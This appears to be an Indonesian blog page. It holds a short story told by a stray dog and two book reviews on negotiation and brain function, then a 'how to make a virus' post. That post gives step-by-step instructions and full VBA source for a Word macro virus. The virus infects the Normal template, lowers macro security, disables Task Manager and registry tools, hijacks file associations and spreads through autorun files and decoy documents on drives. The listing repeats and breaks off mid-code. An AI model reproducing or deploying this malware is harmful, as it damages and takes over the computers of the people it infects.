Kucabik matanya, kucakar hidungnya, dan kugigit punggungnya. Ia membalas, membantingku hingga aku tersungkur di tanah. Perutku berdarah. Ah, luka biasa! Aku bangkit lagi. Kugigit lagi punggungnya, perutnya, wajahnya, hingga ia berdarah di mana-mana! Aku ini sudah pengalaman berkelahi berpuluh-puluh kali. Siberian Husky saja terkaing-kaing meninggalkanku! Apalagi Rottweiler jelek macam dia!
Ada seekor Golden Retriever tampan yang hanya berdiri memandang pertarungan kami sambil menggonggong memanggil seseorang. Entah siapa yang dipanggilnya, mungkin tuannya.

“SINYOOO! IVES BHERANTEM SAMA ANJHING KAMPUNG! SINYOOO! CEPETAN KE SINI!” Seorang gadis cilik memanggil-manggil dari balik pagar rumah. Suaranya parau bercampur logat Jawa yang kental. Kakinya yang gemuk gemetaran sambil berteriak-teriak tidak jelas. “SINYOOOOO!”
“Iya, iya, bhentar!” Seorang bapak-bapak—ah, bukan—seorang remaja berbadan bongsor keluar melerai kami berdua. Ia menimpukku dengan sendal dan batu.
Cih, pengganggu!
Baiklah-baiklah, aku akan pergi. Tapi ingat, sekali lagi kita bertemu, anjingmu akan mati! Pasti mati!
“Ives, Alvin, masuk sana!” Orang itu menyuruh kedua anjingnya masuk.
Halah, ternyata kedua anjing itu penurut sekali. Dasar bego! Kugonggongi mereka, kemudian aku lari. Guk! Guk! Guk!
“Ives ngghak apa-apa kan, Nyo?”
“Matanya luka.”
***
Trotoar. Trotoar. Aku menapak sendirian lagi. Tidak ada pertarungan. Tidak ada makanan. Tidak ada anjing betina untuk dikawini. Aku hanya bisa menatap kosong pada teman-temanku yang sedang kawin di tengah jalan—atau di tengah pantai.

Aku duduk meliuk di atas pasir putih. Kuamati tingkah laku tiap manusia di sana. Kuamati anak-anak pantai berkulit legam, berjalan telanjang dada sambil menjinjing papan surf, mungkin di antaranya ada yang menjadi gigolo. Kulihat perempuan-perempuan manis berkulit cokelat, berperut cekung berdada busung, mungkin di antara mereka ada yang menjadi wanita peliharaan. Wah, kalau kupikir-pikir, manusia dan anjing tidak jauh beda. Sama-sama suka dipelihara. Yang penting bisa makan dan minum. Guk! Guk! Guk!
“Halo, siapa kamu? Kamu anjing juga ya?”
“Heh? Siapa kamu?”
“Loh, kok balik tanya.”

Aku membuka mataku perlahan. Eergh, rasa kantuk di siang hari memang sulit diobati. Biasanya kurelakan saja mataku mengatup, kemudian bangun dengan perut lapar di malam hari. Tapi kali ini, sesuatu menambat mataku supaya tetap terbuka.
“Main yuk!” ajaknya.
“Ma… main? De… denganku?”
Mataku terpana, melihat seekor anjing betina yang begitu cantik. Shih Tzu dengan bulu cokelat panjang. Matanya pun cokelat berbinar-binar. Aduhai, ia seperti seorang putri. Tubuhnya mungil namun berisi. Ia berlari dengan langkah-langkah kecil yang imut. Terkadang ketika berlari, ia hampir-hampir terpeleset. Terkadang juga ia sengaja menjatuhkan diri, merasai pasir yang empuk, seperti bantal di rumah, katanya.
“Hei, memangnya majikan kamu ke mana?”
“Nggak tahu, majikanku hilang.”
“Lantas, kamu kok tenang-tenang aja?”
“Ya, karena aku suka pantai. Lebih baik aku nggak pulang ke rumah.”
“Jangan begitu! Hidup di rumah itu jauh lebih enak. Kalau di sini bisa-bisa seharian kamu enggak makan. Malah ngorek sampah.”
“Ngorek sampah? Waktu kecil aku juga sering ngorek sampah di dapur, tapi selalu dimarahin. Kalau kamu?”
“Hmm, setiap hari. Setiap hari aku makan sampah.”
“Wah, nggak sehat loh!”

Kami berbincang-bincang mengenai banyak hal, sambil melintasi tubuh-tubuh berkulit pucat yang berjemur di atas pasir putih. Ia bercerita mengenai dirinya yang dirawat bagai seorang putri raja. Banyak hal asing yang disebutkannya—seperti spa, manikur, pedikur, dan masih banyak lagi. Aku tidak dapat mengingat semuanya. Hanya saja yang kutahu, ia melakukan semua itu demi kecantikan. Kecantikan yang memang tampak dari dirinya—dari dalam maupun luar.
“Sebenarnya itu juga bukan mauku.”
“Hmm, itu keinginan majikanmu?”
“Iya.”
Tak pernah kutemui anjing ras secantik dan seramah dia. Apalagi anjing kampung! Mana ada yang mau menemaniku ngobrol seperti sekarang ini. Ada mungkin, tapi hanya sebatas obrolan mengenai menstruasinya anjing milik si A atau si B. Huh!

Guk! Guk! Guk!
Kami berdua terus berlari, berlari melampaui kecepatan awan-awan mungil di langit dan tiba-tiba saja… GUBRAAAK! Papan surf menghantam kepalaku. Aaah, Anjing, sakit sekali! Guk! Guk! Guk!
“Loh, ke mana dia?”
Aku menoleh ke segala arah. Yang kulihat hanya pantai yang kian menghitam dan pedagang-pedagang menggulung tikar. Sementara suara perutku sudah menyaingi kokok ayam pagi hari. Lapar! Lapar! Lapar!

Aku berjalan sendirian. Terhuyung di pinggir pantai. Lelah. Lemas. Lapar. Kali ini tanpa seekor Shih Tzu yang menemani. Memang di dunia ini mustahil untuk menemukan anjing yang baik sekaligus cantik.
Terbukti, hanya ada di dalam mimpi.

Keempat kakiku menapaki relung-relung pasir putih berselimut hitam malam. Tak sekalipun mulutku membuka. Hanya diam melangkahi para manusia yang sedang bercinta meniru gaya anjing. Siapa yang sebenarnya binatang di sini?
Guk! Guk! Guk!
Aah! Aah! Aah!

Senin, 24 Oktober 2011

KUNCI KEMENANGAN DALAM NEGOSIASI

MEMANG,kesuksesan hidup kerap kali menghampiri orang-orang yang memiliki bakat, dedikasi dan prestasi pendidikan yang gemilang.

Tapi rotasi kehidupan sering tak bisa ditebak, tidak berpihak dan pusaran kompetisi dalam segala lini kehidupan, tak jarang membuat orang harus menelan kekecewaan. Pasalnya, untuk mampu meraih kesuksesan tidak semata-mata dibutuhkan kerja keras, dedikasi dan kebaikan semata. Sebab di era sekarang, para pemenang kehidupan adalah orang-orang yang tidak hanya berkompeten, melainkan juga yang memiliki kemampuan dalam menegosiasikan keinginan mereka.

Untuk itu, seni negosiasi menjadi bidang ilmu pengetahuan yang mau tidak mau harus dikuasai untuk bisa meraih kesuksesan. Sebab dengan menguasai cara bernegosiasi, orang akan bisa meraih apa yang ia inginkan, dapat meraup untung besar dalam bisnis,mampu menggapai mimpi yang diidam-idamkan bahkan bisa mengatasi masalah rumit yang kerap membingungkan banyak orang. Itulah beberapa keuntungan yang bisa didapatkan dari orang yang mahir dalam negosiasi sebagaimana disampaikan Herb Cohen dalam buku You Can Negotiate Anything; Agar Anda Mendapatkan Segala yang Anda Inginkan ini.

Cohen menggambarkan bahwa kehidupan itu bisa diibaratkan seperti permainan dan negosiasiadalahcara dalam menjalani permainan itu. Tak pelak, jika orang ingin sukses dalam kehidupan, maka dia harus memahami permainan (kehidupan) itu secara menyeluruh. Dan, negosiasi menjadi serupa jembatan yang akan mengantarkan orang bisa melewati jurang dan sungai yang cukup dalam. Negosiasi memang dibutuhkan dalam banyak hal; bisa dalam kehidupan sehari-hari, dalam rumah tangga,dunia kerja, sekolah, pemerintahan, bahkan hubungan antara negara.

Walau demikian, permasalahan yang dihadapi dari semua kasus di lini kehidupan itu memiliki kunci baku.Dengan kata lain,walaupun permasalahan yang dihadapi beragam dan kasus yang dipecahkan bisa berbeda- beda, hanya ada tiga variabel yang mengantarkan seseorang bisa menjadi negosiator ulung. Tiga variabel itu, menurut Cohen, pertama adalah kekuatan. Kekuatan di sini adalah kapasitas atau kemampuan untuk dapat menyelesaikan masalah, meraih kendali atas orang lain, peristiwa, situasi bahkan diri sendiri. Kekuatan di sini bersifat netral, tidak terkait dengan etis ataupun tidak etis.

Karena dengan kekuatan itu, orang bisa menjadikan kelemahan yang ia miliki justru bisa menjadi penentu sebuah kesempatan. Dalam hal ini, kekuatan bisa digali dari kecerdasan dalam melihat kompetisi, menggunakan legitimasi, komitmen, keahlian, dan masih banyak lagi. Intinya, dengan memanfaatkan kekurangan, orang akan bisa meraih apa yang dia inginkan. Kedua,selain kekuatan,faktor penentu lain adalah waktu.

Kesuksesan itu bisa diraih tak hanya dengan mengandalkan komitmen, tetapi harus ditunjang dengan kecerdasan dalam melihat situasi yang dihadapi kemudian memanfaatkan dengan baik. Dan waktu memengaruhi proses negosiasi tersebut. Menurut Cohen, agar bisa menghasilkan kesepakatan, orang harus mengetahui tenggat waktu pihak lain. Di sinilah dibutuhkan kecerdasan menganalisis waktu. Karena harus diakui bahwa cara orang melihat dan menggunakan waktu itu menjadi faktor penting untuk meraih sukses dalam negosiasi. Ketiga,adalah informasi.Informasi bagi Cohen adalah kunci pintu besi yang bernama kesuksesan, tak terkecuali dalam bernegosiasi.

Hal itu karena informasi adalah jantung segala permasalahan.Tak salah,jika dengan berbekal informasi, orang bisa memengaruhi penilaian pihak lain untuk membuat keputusan dalam bernegosiasi. Selain mengungkap kunci kemenangan dalam negosiasi, dalam buku ini Cohen juga menepis kesalahpahaman banyak orang dalam melihat seorang negosiator yang kerap dianggap licik dan suka menipu. Sebab seorang negosiator yang baik, ia tidak bisa menghalalkan segala cara,tapi negosiator yang baik adalah bagaimana dia bisa meraih kepuasan bersama (kedua belah pihak) atau dengan kata lain, keduanya sama-sama menang.

Kelebihan lain dari buku ini,Cohen dengan detail justru memberikan contoh dalam banyak kasus (untuk dinegosiasikan). Bahkan, termasuk contohcontoh kesalahan dia dalam bernegosiasi. Tentu,semua contoh itu bisa menjadi semacam cermin untuk dijadikan pelajaran dan bahkan batu pijakan.Apalagi, buku ini ditulis oleh master negosiator ulung yang pernah terlibat dalam banyak perundingan sandera dalam penyanderaan yang sempat menjadi perhatian dunia.

Tak bisa dimungkiri, jika buku ini akan mengantarkan pembaca menjadi pemenang kehidupan; sebagai negosiator andal dengan cukup menguasai tiga kunci kemenangan (dalam negosiasi) sebagaimana diterangkan Cohen tersebut.

MENGOPTIMALKAN FUNGSI OTAK

OTAK merupakan perangkat keras esensi kita sebagai manusia. Kita tidak dapat menjadi orang yang sangat kita dambakan apabila otak tidak bekerja dengan benar.

Cara dan pola kerja otak menentukan tingkat kebahagiaan dan efektivitas perasaan,serta kualitas interaksi kita dengan orang lain. Pola otak dapat membantu atau menyulitkan kita dalam kehidupan perkawinan, merawat anak, bekerja dan beribadah. Otak menjadi latar belakang kegembiraan dan kesedihan, keberhasilan dan kegagalan.

Selama ini perubahan perilaku dan kinerja kehidupan seperti cemas, depresi, obsesifkompulsif, lekas marah,senang, sulit dan mudahnya berkonsentrasi, sulit dan mudahnya merumuskan tujuan,sulit mudahnya berkomunikasi (persuasi,negosiasi) dianggap merupakan gejala psikologis.Ternyata berdasarkan hasil riset mutakhir menunjukkan bahwa masalahmasalah tersebut berkaitan dengan fisiologi otak.

Buku ini mencoba mengungkap pengetahuan tentang citra fisik otak yang mempunyai pola-pola tertentu yang secara tidak langsung mampu menjelaskan fungsi dan cara kerja otak.Ketika sesuatu tidak berjalan sebagaimana mestinya, terbuka peluang cara mengoptimalkan kerja fungsi otak sehingga kita mempunyai kemampuan optimal untuk meraih kesuksesan dalam seluruh aspek kehidupan, baik yang berhubungan dengan orang lain, pekerjaan, sekolah, diri sendiri, atau bahkan dengan Tuhan.

Kemampuan “melihat” pola dan fungsi otak ,awalnya dibantu oleh teknologi SPECT (Single Emission Computed Tomography). SPECT merupakan sarana kedokteran nuklir canggih yang mampu “ melihat”aliran darah di otak secara langsung dan aktivitas (atau metabolisme) otak secara tidak langsung. Hasil pengamatan SPECT dapat memperlihatkan dengan sangat baik apa yang terjadi dalam pelbagai bagian otak ketika kita mencoba mengaktifkannya. Otak mempunyai lima bagian/ sistem otak yang paling erat kaitannya dengan perilaku manusia.

Pertama, sistem limbik-dalam, terletak di pusat otak; merupakan penghubung dan pusat pengendalian suasana hati seperti cinta/ depresi, mengendalikan hubungan dan libido. Kedua, ganglia basal, struktur besar di tengah otak, yang mengendalikan laju siaga tubuh seperti kecemasan/ ketakutan, motivasi maupun kemampuan memprediksi. Ketiga, korteks prefrontal, terletak di bagian atas depan otak, yang bertindak sebagai pengawas,pembantu memusatkan perhatian, membuat rencana, mengendalikan dorongan hati dan pengambilan keputusan (baik atau buruk).

Keempat, sistem singulat, bagian otak yang terletak melintang di tengah lobus frontal; bagian ini berfungsi memampukan pengalihan perhatian, berpindah dari satu gagasan ke gagasan lain dan melihat pilihan; sehingga seseorang dapat mengikuti arus, beradaptasi terhadap perubahan dan sukses mengatasi persoalan-persoalan baru. Kelima, lobus temporal, yang terletak di balik kening dan di belakang mata. Bagian ini terlibat dalam ingatan/ memori, pemahaman bahasa, pengenalan wajah/visual serta pengendalian amarah; sehingga bagian ini memerankan bagian integral dalam ingatan (memori jangka pendek maupun jangka panjang),kestabilan emosional, kemampuan belajar dan sosialisasi.

Dengan penuturan yang mudah dicerna Daniel, seorang perintis dan spesialis pencitraan otak berlatar belakang psikiater, memberikan gambaran secara gamblang dalam buku ini bagaimana hubungan dan dampak (pengaruh) kondisi fisik otak dengan pola pikir, perasaan dan perilaku manusia dari waktu ke waktu.Bab 3, 5, 7, 9, dan 11 penulis menjelaskan lokasi dan fungsi ke lima sistem otak tersebut; bahasan mencakup bagaimana setiap bagian otak tersebut mempengaruhi perilaku sehari-hari, serta bagaimana akibatnya jika terjadi gangguan medis tertentu.

Kelima bab ini masing-masing ditutup dengan daftar periksa untuk membantu para pembaca menemukan kategori yang sesuai bagi diri pembaca atau orang lain.Dalam bab 4,6,8,10, dan 12 penulis membahas soal penyembuhan dan resep optimasi spesifik fungsi otak yang mengalami gangguan.

Membaca buku ini pembaca akan mudah memahami mengapa seseorang mengalami depresi dan penurunan respons seksual akibat gangguan fungsi sistem limbic dalam; kecemasan yang berlebihan dan berkurangnya motivasi akibat gangguan pada sistem ganglia basal; kurang mampu berpikir kritis dan memecahkan masalah karena gangguan fungsi sistem korteks prefrontal; kesulitan bekerja sama dan mengatasi masalah akibat tidak optimalnya fungsi sistem singulat; dan melemahnya ingatan/ memori serta kesulitan bersosialisasi akibat terganggunya sistem lobus temporal.

Dalam buku ini, Dr Amen memberikan banyak saran praktis untuk mengatasi masalah dan pelbagai cara untuk mengoptimalkan otak serta memperbaiki kehidupan pembaca. Resep mengoptimalkan otak terentang dari penggunaan obat-obatan, perbaikan gizi dan nutrisi asupan makanan, perubahan gaya hidup dan pengembangan hobi.

Sabtu, 22 Oktober 2011

CARA BUAT VIRUS


Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.
CARA MEMBUAT VIRUS
  1. Buka Ms.Word
  2. buka tools > Macro> Visual Basic Editor
Lalu kita ketikkan source virus nya pada kotak putih diatas.
Source yang harus diketik
‘This is my code’s virus
‘Macro Viruses
‘[Macroid]
‘Hanya untuk pembelajaran
Private Sub Document_Close()
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(“Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then
Dim isicrita As String
isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _
Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”
Open Environ$(“windir”) & “\Macroid.doc” For Output As #1
Print #1, isicrita
Close #1
End If
If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then
Open Environ$(“windir”) & “\avmc.vbs” For Output As #1
Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”
Print #1, “for each FD in fs.drives”
Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”
Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”
Print #1, “end if”
Print #1, “Next”
Close #1
End If
ActiveDocument.Save
NormalTemplate.Save
End Sub
Private Sub Document_Open()
CommandBars(“Tools”).Controls(“Macro”).Visible = False
CommandBars(“Tools”).Controls(“Macro”).Enabled = False
CommandBars(“Tools”).Controls(“Customize…”).Visible = False
CommandBars(“Tools”).Controls(“Options…”).Visible = False
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(“Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
